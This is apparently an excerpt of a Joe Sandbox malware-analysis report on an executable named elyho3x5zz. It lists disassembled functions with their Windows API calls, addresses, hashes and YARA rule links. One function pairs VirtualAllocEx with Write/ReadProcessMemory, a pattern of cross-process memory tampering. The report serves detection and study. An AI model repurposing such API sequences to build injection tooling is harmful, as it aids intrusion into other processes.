Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction ID: 595876b23ae4c13170fd1c210cca3ae3cba3a6b9a68e2f490aa4873268cc295e
Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction Fuzzy Hash: F411C426E7EA1305FF54D924EE413F530817FC53A0F097230EA6EC66DA9F1CA440A903

Function 00007FF629235244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF62923525B
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF629235274
_RTC_Initialize.LIBCMT ref: 00007FF62923527D

Part of subcall function 00007FF629234F0C: _onexit.LIBCMT ref: 00007FF629234F10

Part of subcall function 00007FF62924A09C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF62924A0C6

__scrt_fastfail.LIBCMT ref: 00007FF6292352F5
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF629235300

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options__scrt_initialize_onexit_tables_invalid_parameter_noinfo_onexit_set_fmode
String ID:
API String ID: 2117695475-0
Opcode ID: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction ID: 0200f243686216ed6d9eb9b4d22ce5b5237af223f8d566f5a1a28716f9062a80
Opcode Fuzzy Hash: c6240938d00ce931eff62a9f8efb7c75b2bc90d30c2bcb96158b33b23c092f9e
Instruction Fuzzy Hash: 21118800E3B24345FE187BB25E566F832894FD4340F8415B8E91EDA2C3DF1CA841766B

Function 00007FF62927CB58 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 00007FF62927CB8A
GetLastError.KERNEL32 ref: 00007FF62927CB96
GetProcessHeap.KERNEL32 ref: 00007FF62927CBA3
HeapAlloc.KERNEL32 ref: 00007FF62927CBB2
GetTokenInformation.ADVAPI32 ref: 00007FF62927CBD1

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction ID: e9493e44428e73994bb1f86dcc6007a251ffaef1f471bb67c976493040d17881
Opcode Fuzzy Hash: 18e3121f69b2f55043958739cbc43e37301fc4036db83b04d1dc9e6091f96284
Instruction Fuzzy Hash: FB118836A19B81C6FB10CF22E940559B7A8FBC9F80B1A8436DF8993B54DF38E815C741

Function 00007FF629282ED0 Relevance: 7.5, APIs: 5, Instructions: 37windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF629282EEC
GetWindowTextW.USER32 ref: 00007FF629282F07
MessageBeep.USER32 ref: 00007FF629282F1C
KillTimer.USER32 ref: 00007FF629282F3F
EndDialog.USER32 ref: 00007FF629282F5F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction ID: 7e03befa2930b244f9d776ad344eb3fd34edd83c4f4799bf0d17616837a45b9d
Opcode Fuzzy Hash: 8c0ba02d18c33329f7d04451d21e8c8e2fc8c024a9545b6606e830f761915d0e
Instruction Fuzzy Hash: D911A122A1D94281FF299F24E9447793364FFC8BC5F448131D94D86299DF7CD985D311

Function 00007FF629290008 Relevance: 7.5, APIs: 5, Instructions: 33synchronizationthreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,00007FF6292729AD,?,?,?,00007FF629222AB2), ref: 00007FF62929003C
TerminateThread.KERNEL32(?,?,?,00007FF6292729AD,?,?,?,00007FF629222AB2), ref: 00007FF629290047
WaitForSingleObject.KERNEL32(?,?,?,00007FF6292729AD,?,?,?,00007FF629222AB2), ref: 00007FF629290055
~SyncLockT.VCCORLIB ref: 00007FF62929005E

Part of subcall function 00007FF62928F7B8: CloseHandle.KERNEL32(?,?,?,00007FF629290063,?,?,?,00007FF6292729AD,?,?,?,00007FF629222AB2), ref: 00007FF62928F7C9

LeaveCriticalSection.KERNEL32(?,?,?,00007FF6292729AD,?,?,?,00007FF629222AB2), ref: 00007FF62929006A

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
String ID:
API String ID: 3142591903-0
Opcode ID: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction ID: 812aee6f5682c7337cd128b8ae874e60ee543204780b82c8df894749ed7397e5
Opcode Fuzzy Hash: ba6bd7e5b15845e6b6bdca5424b03e7aeaa25a678f545ea5128a0138939c9a9e
Instruction Fuzzy Hash: 1101083AA29B4596FB509F15E9402297364FB88B90F244035DB8E83BA5CF3CE896C741

Function 00007FF629241DA0 Relevance: 7.5, APIs: 5, Instructions: 31threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF62924B80C: GetLastError.KERNEL32 ref: 00007FF62924B81B
Part of subcall function 00007FF62924B80C: SetLastError.KERNEL32 ref: 00007FF62924B885

ExitThread.KERNEL32 ref: 00007FF629241DB8
ExitThread.KERNEL32 ref: 00007FF629241DCD

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction ID: c035d1442edc1163f474f8aff2c1676886224a67f314350529f50ec5afdb6973
Opcode Fuzzy Hash: 99fd53b48de60ad2b3b37300d72bcddb8f2580f530d7a1e219e10e2618182fab
Instruction Fuzzy Hash: 2E012111B2AA4292FE046F209E4417C3265EF90B75F502734C63E966D6DF2CE8989702

Function 00007FF6292122E8 Relevance: 7.5, APIs: 5, Instructions: 31COMMON

Download Yara Rule

APIs

EndPath.GDI32 ref: 00007FF629212304
StrokeAndFillPath.GDI32 ref: 00007FF62921231C
SelectObject.GDI32 ref: 00007FF629212331
DeleteObject.GDI32 ref: 00007FF629212346
StrokePath.GDI32 ref: 00007FF629212366

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction ID: 22969045aaecc6ec9d8b8a36b8aa55dbec33f32c4eb9bf11c64d3ec6336948b0
Opcode Fuzzy Hash: c45599d3bc9fc7debef7ab567c3c0eb4022d53e70f819905b21d88790cde579c
Instruction Fuzzy Hash: D6017C21D2DA4285FF549F20AE887383B61BFC5BA0F185130D81E862A1CF7EE094E702

Function 00007FF6292803F8 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF629280414
GetCurrentThreadId.KERNEL32 ref: 00007FF62928041C
GetWindowThreadProcessId.USER32 ref: 00007FF62928042C
GetCurrentThreadId.KERNEL32 ref: 00007FF629280434
AttachThreadInput.USER32(?,?,?,00007FF62927E921), ref: 00007FF629280441

Part of subcall function 00007FF6292807A4: SendMessageTimeoutW.USER32 ref: 00007FF6292807CA

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction ID: dee452f366dae1e7efa1ee3a500cd101c3f73ce4728841adbc48658fd1bcf1e4
Opcode Fuzzy Hash: 3c9aaefa71688af513bcff76e9269722b622f20c654f000aa95846671475ad7f
Instruction Fuzzy Hash: 97F03010F7E65282FF181FB67E48AB433957FC8781F855130C80A82291DF6ED4996612

Function 00007FF62928B5D4 Relevance: 7.5, APIs: 5, Instructions: 26threadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 00007FF62928B5F0
GetCurrentThreadId.KERNEL32 ref: 00007FF62928B5F8
GetWindowThreadProcessId.USER32 ref: 00007FF62928B608
GetCurrentThreadId.KERNEL32 ref: 00007FF62928B610
AttachThreadInput.USER32 ref: 00007FF62928B61D

Part of subcall function 00007FF62928CF30: SendMessageTimeoutW.USER32 ref: 00007FF62928CF56

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction ID: af7f9fdd1357938328e0e593f22a3c6cd0c8c64db82469fd1ae187182922f50c
Opcode Fuzzy Hash: e2ae8e70be2f5b84d83463abcc11da4b251e2e09d7ca6408d5f9779cbd984f2d
Instruction Fuzzy Hash: 50F06520F3E66242FF585FB27E48A7432957FC8781F855038C90AC22D1DF7DD4956652

Function 00007FF629295F2C Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 300comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6292156D4: GetFullPathNameW.KERNEL32(?,00007FF6292156C1,?,00007FF629217A0C,?,?,?,00007FF62921109E), ref: 00007FF6292156FF

CoInitialize.OLE32 ref: 00007FF6292960A2
CoCreateInstance.OLE32 ref: 00007FF6292960C5
CoUninitialize.OLE32 ref: 00007FF6292960E3

Strings

.lnk, xrefs: 00007FF629295F94, 00007FF629295FE3, 00007FF629296090

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize
String ID: .lnk
API String ID: 3769357847-24824748
Opcode ID: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction ID: 7a44435df54339881908a8714edfe034344ee85befa450852088ac458a9701b2
Opcode Fuzzy Hash: e9a41c1307533edd4d22b0f8b30ca28bda216ecff893dec0b295dcafc10e7183
Instruction Fuzzy Hash: D7D17B36B26A4685FF10DF66C9802AC37B0FB88B88B148032CE4D97B99DF39D449D341

Function 00007FF629250040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 205COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6292502E4

Strings

ccs, xrefs: 00007FF629250229
UTF-8, xrefs: 00007FF629250268
UTF-16LEUNICODE, xrefs: 00007FF62925028B

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction ID: eadcb19ec6f7241504a60f2f4f39624a83c7642a1dc03089dc4f7863a68bbebf
Opcode Fuzzy Hash: c3c6110ef47f8474b3aee38d103288009a94a732d54534d718fbbb8757739500
Instruction Fuzzy Hash: B7815D72EAA20286FF6D4F159F5037D36A0AF92784F148035DA0ED6688DF69A950E703

Function 00007FF62923B1E8 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62923B211
_invalid_parameter_noinfo.LIBCMT ref: 00007FF62923B3EE

Strings

, xrefs: 00007FF62923B377
*, xrefs: 00007FF62923B322

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction ID: f329f903d4198099db9908f27f7ac0aa2af921b21a7e8beb8fe077db86f55d24
Opcode Fuzzy Hash: e1993591883a1ee4d578272befcf29134d05160a5f94b748d186053ef0cddf2b
Instruction Fuzzy Hash: A461773292E25286FF65AF359A553BC37A0EB86B18F14123FC649C51D5CF28D441E70B

Function 00007FF629246148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF629246202

Strings

acos, xrefs: 00007FF629246215
!, xrefs: 00007FF629246237

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction ID: 1b719be5c85f7509b48b06dbea446a2743ba6f8786d34af4cfa373bfb4810999
Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction Fuzzy Hash: 5461C621D39F4588FA23CF345D10276BB54AFD63D0F11A336E95EB5AA4DF1CE082AA01

Function 00007FF629246408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6292464BA

Strings

asin, xrefs: 00007FF6292464CD
!, xrefs: 00007FF6292464EF

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction ID: f5df01f410d7bda0c37b785a2de43d052753d17600e79477a79b75ec90065fb9
Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction Fuzzy Hash: D4619122D39F8185FA13CF349D11276B754AFD63D0F119332E95AB5AA5DF2CE0829A01

Function 00007FF62927EAC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6292896AC: WriteProcessMemory.KERNEL32 ref: 00007FF6292896F7

SendMessageW.USER32 ref: 00007FF62927EB35

Part of subcall function 00007FF629289660: ReadProcessMemory.KERNEL32 ref: 00007FF62928969E

Part of subcall function 00007FF629289560: GetWindowThreadProcessId.USER32 ref: 00007FF6292895A4
Part of subcall function 00007FF629289560: OpenProcess.KERNEL32(?,?,?,?,00000000,00007FF62927E40A), ref: 00007FF6292895B6
Part of subcall function 00007FF629289560: VirtualAllocEx.KERNEL32 ref: 00007FF6292895DC

SendMessageW.USER32 ref: 00007FF62927EBBD
SendMessageW.USER32 ref: 00007FF62927EC17

Strings

@, xrefs: 00007FF62927EC32

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction ID: a93b7db720388955042d302a5a65c40a541654f64fb39619e9d11a666dd485cc
Opcode Fuzzy Hash: 8590b3572ee50005f206f958431262ef9082a01c97b701578a5c0a82d3af5d25
Instruction Fuzzy Hash: C451BD7662969182EB20DF52E9849EABB60F7C8BC4F011035EE4EA7B59DF7CD505CB00

Function 00007FF62928A6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF62928A74D
DeleteMenu.USER32 ref: 00007FF62928A799
DeleteMenu.USER32(?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF62928A7E6

Strings

P, xrefs: 00007FF62928A722

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: P
API String ID: 135850232-3110715001
Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction ID: 41c68fe733558c6592633d78198b375aabfeef9a72fc31929c4213d6e391f7f8
Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction Fuzzy Hash: EE41C022A25A8185FF64DF15C9443AD7764FBC4BA0F568231EA2D836C5DF3CE442E721

Function 00007FF62924EAA8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00000010,00000010,00000000,00000010,00007FF62924EF05), ref: 00007FF62924EB8E
WriteFile.KERNEL32 ref: 00007FF62924EBC1
GetLastError.KERNEL32 ref: 00007FF62924EBE3

Strings

U, xrefs: 00007FF62924EB6C

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction ID: 2bfc3efd8308adf955e64b6643c7e666e940563d27fbee6299bee3ef7f9d302c
Opcode Fuzzy Hash: 94b35a9ebb8fe33294e0bdd0e775bf8e0988a6ef2a86fc1225fbcd9ba36526fe
Instruction Fuzzy Hash: A2419122A2AB4182FB209F15E9447BAB7A1FBC8794F814031EE4E87798DF7CD441DB41

Function 00007FF6292BB454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF6292BB556
GetWindowLongW.USER32 ref: 00007FF6292BB57B
